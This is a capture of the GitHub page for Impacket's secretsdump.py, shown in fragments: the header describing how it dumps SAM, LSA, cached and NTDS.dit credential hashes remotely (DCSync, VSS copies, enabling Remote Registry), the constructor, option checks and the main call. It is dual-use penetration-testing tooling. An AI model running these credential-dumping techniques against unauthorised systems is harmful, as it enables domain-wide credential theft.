Sign in

fortra / impacket Public

Notifications Fork 3.6k Star 13.5k

Code Issues 196 Pull requests 150 Actions Projects Security Insights

impacket / examples / secretsdump.py

Executable File · 539 lines (491 loc) · 28 KB

Code Blame Raw

```
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   Performs various techniques to dump hashes from the
#   remote machine without executing any agent there.
#   For SAM and LSA Secrets (including cached creds)
#   we try to read as much as we can from the registry
#   and then we save the hives in the target system
#   (%SYSTEMROOT%\\Temp dir) and read the rest of the
#   data from there.
#   For NTDS.dit we either:
#       a. Get the domain users list and get its hashes
#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
#          call, replicating just the attributes we need.
#       b. Extract NTDS.dit via vssadmin executed  with the
#          smbexec approach.
#          It's copied on the temp dir and parsed remotely.
```

```
#
#   The script initiates the services required for its working
#   if they are not available (e.g. Remote Registry, even if it is
#   disabled). After the work is done, things are restored to the
#   original state.
#
# Author:
#   Alberto Solino (@agsolino)
#
# References:
#   Most of the work done by these guys. I just put all
#   the pieces together, plus some extra magic.
#
#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
#   - https://code.google.com/p/creddump/
#   - https://lab.mediaservice.net/code/cachedump.rb
#   - https://insecurety.net/?p=768
#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/i
#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-anal
#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#

from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import sys

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection
from impacket.ldap.ldap import LDAPConnection, LDAPSessionError

from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets,
    KeyListSecrets
from impacket.krb5.keytab import Keytab
try:
    input = raw_input
except NameError:
    pass

class DumpSecrets:
    def __init__(self, remoteName, username='', password='', domain='', options=None):
        self.__useVSSMethod = options.use_vss
        self.__useKeyListMethod = options.use_keylist
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__aesKeyRodc = options.rodcKey
        self.__smbConnection = None
        self.__ldapConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__KeyListSecrets = None
        self.__rodc = options.rodcNo
        self.__systemHive = options.system
        self.__bootkey = options.bootkey
        self.__securityHive = options.security
        self.__samHive = options.sam
        self.__ntdsFile = options.ntds
        self.__skipSam = options.skip_sam
        self.__skipSecurity = options.skip_security
        self.__history = options.history
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = options.outputfile
        self.__doKerberos = options.k
        self.__justDC = options.just_dc
        self.__justDCNTLM = options.just_dc_ntlm
        self.__justUser = options.just_dc_user
        self.__ldapFilter = options.ldapfilter
        self.__skipUser = options.skip_user
        self.__pwdLastSet = options.pwd_last_set
        self.__printUserStatus= options.user_status
        self.__resumeFileName = options.resumefile
        self.__canProcessSAMLSA = True
        self.__kdcHost = options.dc_ip
        self.__remoteSSMethod = options.use_remoteSSMethod
        self.__remoteSSMethod = options.use_remoteSSMethod
```

```python
        sys.exit(1)

    options = parser.parse_args()

    # Init the example's logger theme
    logger.init(options.ts)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password, remoteName = parse_target(options.target)

    if options.just_dc_user is not None or options.ldapfilter is not None:
        if options.use_vss is True:
            logging.error('-just-dc-user switch is not supported in VSS mode')
            sys.exit(1)
        elif options.resumefile is not None:
            logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-u
            sys.exit(1)
        elif remoteName.upper() == 'LOCAL' and username == '':
            logging.error('-just-dc-user not compatible in LOCAL mode')
            sys.exit(1)
        else:
            # Having this switch on implies not asking for anything else.
            options.just_dc = True

    if options.use_vss is True and options.resumefile is not None:
        logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
        sys.exit(1)

    if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None):
        logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List
        sys.exit(1)

    if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
        logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
        sys.exit(1)

    if remoteName.upper() == 'LOCAL' and username == '':
        if options.system is None and options.bootkey is None:
            logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check h
            sys.exit(1)
    else:

        if options.target_ip is None:
            options.target_ip = remoteName

        if domain is None:
            domain = ''

        if options.keytab is not None:
            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
            options.k = True

        if password == '' and username != '' and options.hashes is None and options.no_pass is Fals
            from getpass import getpass

            password = getpass("Password:")

        if options.aesKey is not None:
            options.k = True
```

```python

    dumper = DumpSecrets(remoteName, username, password, domain, options)
    try:
        dumper.dump()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(e)
```